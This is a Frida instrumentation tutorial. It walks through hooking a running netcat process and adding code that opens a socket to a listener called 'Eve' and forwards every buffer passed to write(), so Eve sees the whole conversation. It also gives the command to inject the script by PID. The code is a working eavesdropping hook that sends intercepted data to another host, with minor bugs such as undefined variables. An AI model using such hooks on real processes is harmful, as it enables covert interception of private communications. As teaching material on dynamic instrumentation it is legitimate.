First practical example¶
Right now we have enough knowledge to do some interesting things with Frida.
Our first task will be really simple, lets hook to nc and make a script so that Eve receives everything that Alice and Bob are sending each other. [1]
To do that, we’ll need to do the follwing tasks:
- Create a new connection with Eve
- Send to Eve all messages sent
- Send to Eve all messages received
Creating a new connection¶
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 | /* CONSTANTS */
var AF_INET = 2; // From /usr/src/linux-headers-4.15.0-45/include/linux/socket.h
var SOCK_STREAM = 1; // From /usr/src/linux-headers-4.15.0-45/include/linux/net.h
var IP = 0; // From /etc/protocols
var eve_port = 5555;
var eve_addr = '127.0.0.1';
/* Auxiliary functions */
function parse_int(s){
return parseInt(s, 10);
}
function inet_aton(addr){
var octets = addr.split('.').map(parse_int);
return ((((((octets[0]*256) + octets[1])*256)+octets[2])*256)+octets[3]);
}
function change_endianness(i){
return parseInt(i.toString(16).match(/.{1,2}/g).reverse().join(''), 16);
}
/* Get the `socket` function */
var socket_ptr = Module.findExportByName(null, 'socket');
var socket_fcn = new NativeFunction(socket_ptr,
'int',
['int', 'int', 'int']
);
/* Get the `connect` function */
var connect_ptr = Module.findExportByName(null, 'connect');
var connect_fcn = new NativeFunction(connect_ptr,
'int',
['int', 'pointer', 'uint']
);
var sockfd = socket_fcn(AF_INET, SOCK_STREAM, IP);
console.log('Socket created: ' + sockfd);
/*
* #include <netinet/in.h>
*
* struct sockaddr_in {
* short sin_family; // e.g. AF_INET
* unsigned short sin_port; // e.g. htons(3490)
* struct in_addr sin_addr; // see struct in_addr, below
* char sin_zero[8]; // zero this if you want to
* };
*
* struct in_addr {
* unsigned long s_addr; // load with inet_aton()
* };
*/
var sockaddr_in_sz = 2 + 2 + 4 + 8;
var sockaddr_in = Memory.alloc(sockaddr_in_sz);
Memory.writeS16(sockaddr_in, AF_INET);
Memory.writeU16(sockaddr_in.add(2), change_endianness(eve_port));
Memory.writeU32(sockaddr_in.add(2 + 2), change_endianness(inet_aton(eve_addr)));
Memory.writeByteArray(sockaddr_in.add(2 + 2 + 4), [0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30]);
console.log('Calling connect:', sockfd, sockaddr_in, sockaddr_in_sz);
var buf = Memory.readByteArray(sockaddr_in, sockaddr_in_sz);
if(connect_fcn(sockfd, sockaddr_in, sockaddr_in_sz) < 0){
console.error('Connection failed' + result);
throw new Error('Connection failed');
}
console.log('Done');
|
An interesting point here is that - sadly - Frida only supports the native endianness when writing to memory. This shouldn’t worry us in most cases, but in this particular case we are using the sockaddr_in struct that is intended to be used for networking and it requires the use of big endian for the port and the IP address.
To overcome this we have three different approaches:
- Create an auxiliary pure JavaScript function to manually convert to big-endian and write it as if it was little-endian
- Use the Memory.writeByteArray function and manually write each byte
- As we’ll cover when we discuss more advanced topics. Is possible to compile our Frida code to also include NodeJS dependencies that allow us to handle this using a more modular approach
Writ ing to Eve¶
For resending messges to Eve, we’ll abuse the fact that both receiving data and sending data uses the write function. In this sense we can intercept all calls that write to a file descriptor different than the one for the socket we opened in the previous step - In normal conditions it should be the socket to Bob and the STDOUT.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | var write_ptr = Module.findExportByName(null, 'write');
var write_fcn = new NativeFunction(write_ptr,
'int',
['int', 'pointer', 'int']
);
console.log('Intercepting write');
Interceptor.attach(write_ptr, {
onEnter: function(args){
if(args[0] != eve_sockfd){
write_fcn(eve_sockfd, ptr(args[1]), parseInt(args[2]));
}
}
});
console.log('Done');
|
Calling our code¶
We can call our script directly when launching Frida as follows:
frida -p <PID> -l netcat_interceptor.js
footnotes
| [1] | Socket programming knowledge is recommended (https://www.geeksforgeeks.org/socket-programming-cc/). Also you should know the return type and parameters type for each function we need, use man socket, man 2 accept, man connect and man send to get the information you need |